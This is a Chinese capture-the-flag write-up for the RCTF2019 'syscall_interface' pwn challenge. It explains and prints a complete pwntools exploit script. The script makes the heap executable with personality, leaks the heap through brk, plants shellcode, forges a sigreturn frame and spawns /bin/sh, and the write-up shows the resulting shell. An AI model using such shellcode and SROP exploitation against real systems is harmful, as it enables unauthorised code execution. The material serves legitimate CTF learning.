RCTF2019 pwn syscall_interface writeup
TOC
- 1. 分析
- 2. 思路
- 2.1. sys_personality
- 2.2. sys_brk
- 2.3. 构造shellcode和frame
- 2.4. shellcode注入到heap
- 2.5. sys_rt_sigreturn控制rip
- 2.6. 注入新的shellcode
- 3. 完整脚本
- 3.1. 运行实例
- 4. 总结
一道考验我们对于系统调用掌握程度的题目。
思路借鉴自:balsn.tw 。
源程序、相关文件下载:syscall_interface.zip 。
分析
题目程序流是很简单的,就是我们可以使用系统调用,但是只能控制第一个参数。
思路
- sys_personality设置之后申请的内存有执行权限
- sys_brk返回申请的权限的末尾地址
- 构造shellcode和frame
- 利用printf把shellcode注入到heap上
- sys_rt_sigreturn控制rip
- 注入新的shellcode
sys_personality
sh.recvuntil('choice:') sh.sendline('0') sh.recvuntil('syscall number:') sh.sendline('135') sh.recvuntil('argument:') sh.sendline(str(0x400000))
|
设置之后申请的内存有执行权限,由于之后程序会调用printf
函数,而printf
函数需要依赖于heap
,也就是在调用printf
的时候,若程序没有heap
,则printf
函数会向系统进行申请。由于我们之前调用了sys_personality
,所以之后的heap
就会有执行权限。
原理如下:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/personality.h>
int main() { personality(READ_IMPLIES_EXEC); printf("hello world\n");
return 0; }
|
执行完break1
之后,之后的内存有执行权限,而break2
的printf
会申请heap
。
这样就会使得后面申请的栈有执行权限。
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/ex/test/a.out 0x555555754000 0x555555755000 r--p 1000 0 /home/ex/test/a.out 0x555555755000 0x555555756000 rw-p 1000 1000 /home/ex/test/a.out 0x555555756000 0x555555777000 rwxp 21000 0 [heap] 0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0 0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7fd8000 0x7ffff7fda000 rw-p 2000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
|
sys_brk
但参数为0,该函数的的返回值为可以申请的内存页的开头,也就是heap
的末尾。由于我们知道heap
的大小是0x21000
,所以可以计算出heap
的地址。
sh.recvuntil('choice:') sh.sendline('0') sh.recvuntil('syscall number:') sh.sendline('12') sh.recvuntil('argument:') sh.sendline(str(0))
sh.recvuntil("RET(") heap_addr = int(sh.recvuntil(")")[:-1], 16) - 0x21000 log.success("heap_addr: " + hex(heap_addr))
|
构造shellcode和frame
我们会用到username(刚好在栈上)来构造frame
,在构造frame
之前我们需要知道username
对于frame
的偏移。
pwndbg> b syscall Breakpoint 1 at 0x7f1c2ea3b820: file ../sysdeps/unix/sysv/linux/x86_64/syscall.S, line 30. pwndbg> c Continuing.
Breakpoint 1, syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:30 30 ../sysdeps/unix/sysv/linux/x86_64/syscall.S: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0xdeadbeefffee1bad RDX 0xdeadbeefffee1bad RDI 0x87 RSI 0x400000 R8 0xdeadbeefffee1bad R9 0xdeadbeefffee1bad R10 0x7f1c2eabecc0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax] R11 0xa R12 0x55dfb09fc9c0 ◂— xor ebp, ebp R13 0x7fff96f92b70 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fff96f929e0 —▸ 0x7fff96f92a90 —▸ 0x55dfb09fd060 ◂— push r15 RSP 0x7fff96f92988 —▸ 0x55dfb09fcecd ◂— add rsp, 0x20 RIP 0x7f1c2ea3b820 (syscall) ◂— mov rax, rdi ──────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────── ► 0x7f1c2ea3b820 <syscall> mov rax, rdi 0x7f1c2ea3b823 <syscall+3> mov rdi, rsi 0x7f1c2ea3b826 <syscall+6> mov rsi, rdx 0x7f1c2ea3b829 <syscall+9> mov rdx, rcx 0x7f1c2ea3b82c <syscall+12> mov r10, r8 0x7f1c2ea3b82f <syscall+15> mov r8, r9 0x7f1c2ea3b832 <syscall+18> mov r9, qword ptr [rsp + 8] 0x7f1c2ea3b837 <syscall+23> syscall 0x7f1c2ea3b839 <syscall+25> cmp rax, -0xfff 0x7f1c2ea3b83f <syscall+31> jae syscall+34 <0x7f1c2ea3b842> 0x7f1c2ea3b841 <syscall+33> ret ───────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── 00:0000│ rsp 0x7fff96f92988 —▸ 0x55dfb09fcecd ◂— add rsp, 0x20 01:0008│ 0x7fff96f92990 ◂— 0xdeadbeefffee1bad ... ↓ 05:0028│ 0x7fff96f929b0 —▸ 0x7fff96f929e0 —▸ 0x7fff96f92a90 —▸ 0x55dfb09fd060 ◂— push r15 06:0030│ 0x7fff96f929b8 —▸ 0x7fff96f92a00 ◂— 0x79646f626f6e /* 'nobody' */ 07:0038│ 0x7fff96f929c0 ◂— 0x8700000000000030 /* '0' */ ─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► f 0 7f1c2ea3b820 syscall f 1 55dfb09fcecd f 2 55dfb09fcfb5 f 3 7f1c2e941b97 __libc_start_main+231 Breakpoint syscall pwndbg> search -s nobody syscall_interface 0x55dfb09fcf42 outsb dx, byte ptr [rsi] /* 'nobody' */ warning: Unable to access 16000 bytes of target memory at 0x7f1c2eb0ed05, halting search. [stack] 0x7fff96f92a00 0x79646f626f6e /* 'nobody' */
|
从上面的调试信息可以看出username
的地址是0x7fff96f92a00
,接下来计算他们的偏移。
pwndbg> p 0x7fff96f92a00-(size_t)$rsp $1 = 120
|
正好是120
字节的偏移,这个值在之后构造frame
的时候会用到。
120的字节,让我们来看看我们能控制哪些寄存器:
__uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short ss;
|
能控制的还是很多的,但是前面十六个字节我们需要注入shellcode,而且rbp
和rbx
对我们来说也并没有用。
shellcode = ''' xor rdi, rdi mov rsi, rsp syscall
jmp rsi '''
rip_heap_offset = 664 - 8 rip = heap_addr + rip_heap_offset
log.success('rip: ' + hex(rip))
frame = SigreturnFrame() frame.rax = constants.SYS_read frame.rdx = 0x1000 frame.rsp = heap_addr + 0x5000 frame.rip = rip
frame.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0001 * 0x10000) | (0x0033 * 0x1)
payload = asm(shellcode).ljust(16, '\0') + str(frame)[120 + 16:]
|
这里我重点提两点:
我们是利用printf的%s来把shellcode存放到heap上的,所以shellcode中不能有NUL字节,否则会被截断。
frame 框架一定要设置cs和ss,否则程序会直接crash。
shellcode注入到heap
sh.recvuntil('choice:') sh.sendline('1') sh.recvuntil('username:') sh.send(payload[:127])
sh.recvuntil('choice:') sh.sendline('0') sh.recvuntil('syscall number:') sh.sendline('12') sh.recvuntil('argument:') sh.sendline(str(0))
|
sys_rt_sigreturn控制rip
在这之前我们需要先知道shellcode相对于heap的偏移,计算方法如下:
pwndbg> search -s nobody syscall_interface 0x5573e73faf42 outsb dx, byte ptr [rsi] /* 'nobody' */ [heap] 0x5573e8729290 0xa79646f626f6e /* 'nobody\n' */ warning: Unable to access 16000 bytes of target memory at 0x7f961b13fd05, halting search. [stack] 0x7ffe5ac18ce0 0x79646f626f6e /* 'nobody' */ pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x5573e73fa000 0x5573e73fc000 r-xp 2000 0 /home/ex/test/syscall_interface 0x5573e75fb000 0x5573e75fc000 r--p 1000 1000 /home/ex/test/syscall_interface 0x5573e75fc000 0x5573e75fd000 rw-p 1000 2000 /home/ex/test/syscall_interface 0x5573e8729000 0x5573e874a000 rwxp 21000 0 [heap] 0x7f961af51000 0x7f961b138000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f961b138000 0x7f961b338000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f961b338000 0x7f961b33c000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f961b33c000 0x7f961b33e000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f961b33e000 0x7f961b342000 rw-p 4000 0 0x7f961b342000 0x7f961b369000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f961b54a000 0x7f961b54c000 rw-p 2000 0 0x7f961b569000 0x7f961b56a000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f961b56a000 0x7f961b56b000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f961b56b000 0x7f961b56c000 rw-p 1000 0 0x7ffe5abfa000 0x7ffe5ac1b000 rw-p 21000 0 [stack] 0x7ffe5ac29000 0x7ffe5ac2c000 r--p 3000 0 [vvar] 0x7ffe5ac2c000 0x7ffe5ac2e000 r-xp 2000 0 [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] pwndbg> p 0x5573e8729290-0x5573e8729000 $1 = 656
|
然后就直接调用sys_rt_sigreturn控制rip。
sh.recvuntil('choice:') sh.sendline('0') sh.recvuntil('syscall number:') sh.sendline('15') sh.recvuntil('argument:') sh.sendline(str(0))
|
注入新的shellcode
shellcode2 = ''' mov rax, 0x0068732f6e69622f push rax
mov rdi, rsp xor rsi, rsi mul rsi mov al, 59 syscall '''
sh.send(asm(shellcode2))
|
完整脚本
from pwn import * import random import struct import os import binascii import sys import time
context.arch = 'amd64' sh = process("./syscall_interface")
try: f = open('/tmp/pid', 'w') f.write(str(proc.pidof(sh)[0])) f.close() except Exception as e: pass
sh.recvuntil('choice:') sh.sendline('0') sh.recvuntil('syscall number:') sh.sendline('135') sh.recvuntil('argument:') sh.sendline(str(0x400000))
sh.recvuntil('choice:') sh.sendline('0') sh.recvuntil('syscall number:') sh.sendline('12') sh.recvuntil('argument:') sh.sendline(str(0))
sh.recvuntil("RET(") heap_addr = int(sh.recvuntil(")")[:-1], 16) - 0x21000 log.success("heap_addr: " + hex(heap_addr))
''' __uint64_t rbp; // 120-128 __uint64_t rbx; // 128-136 __uint64_t rdx; // 136-144 __uint64_t rax; // 144-152 __uint64_t rcx; // 152-160 __uint64_t rsp; // 160-168 __uint64_t rip; // 168-176 '''
shellcode = ''' xor rdi, rdi mov rsi, rsp syscall
jmp rsi '''
rip_heap_offset = 656 rip = heap_addr + rip_heap_offset
log.success('rip: ' + hex(rip))
frame = SigreturnFrame() frame.rax = constants.SYS_read frame.rdx = 0x1000 frame.rsp = heap_addr + 0x5000 frame.rip = rip
frame.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0001 * 0x10000) | (0x0033 * 0x1)
payload = asm(shellcode).ljust(16, '\0') + str(frame)[120 + 16:]
sh.recvuntil('choice:') sh.sendline('1') sh.recvuntil('username:') sh.send(payload[:127])
sh.recvuntil('choice:') sh.sendline('0') sh.recvuntil('syscall number:') sh.sendline('12') sh.recvuntil('argument:') sh.sendline(str(0))
sh.recvuntil('choice:') sh.sendline('0') sh.recvuntil('syscall number:') sh.sendline('15') sh.recvuntil('argument:') sh.sendline(str(0))
shellcode2 = ''' mov rax, 0x0068732f6e69622f push rax
mov rdi, rsp xor rsi, rsi mul rsi mov al, 59 syscall '''
sh.send(asm(shellcode2))
sh.interactive()
|
运行实例
ex@Ex:~/test$ ./exp.py [+] Starting local process './syscall_interface': pid 27761 [+] heap_addr: 0x55ad5cbf2000 [+] rip: 0x55ad5cbf2290 [*] Switching to interactive mode $ id uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
|
总结
看大佬写的博客,学到的东西感觉很充实。